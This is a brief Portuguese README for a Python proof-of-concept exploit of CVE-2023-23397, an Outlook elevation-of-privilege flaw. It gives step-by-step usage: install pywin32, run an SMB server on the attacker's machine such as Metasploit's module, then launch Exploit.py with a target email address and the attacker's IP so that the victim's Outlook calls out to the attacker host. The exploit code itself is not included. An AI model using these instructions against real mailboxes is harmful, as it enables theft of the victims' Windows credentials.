CVE-2023-23397 (Elevação de Privilégio no Outlook)

Prova de conceito para CVE-2023-23397 em Python

Uma "prova de conceito" rápida e fácil em Python para a CVE do Outlook que afeta os produtos Microsoft Office/365.

Uso

1. Instale o pywin executando pip install pywin32
2. Inicie um servidor SMB na máquina do atacante, como o módulo SMB do Metasploit
3. Execute python Exploit.py <save_or_send> <target email> <attacker_ip> passando o comando (save or send), o endereço de e-mail do alvo e o IP da máquina do atacante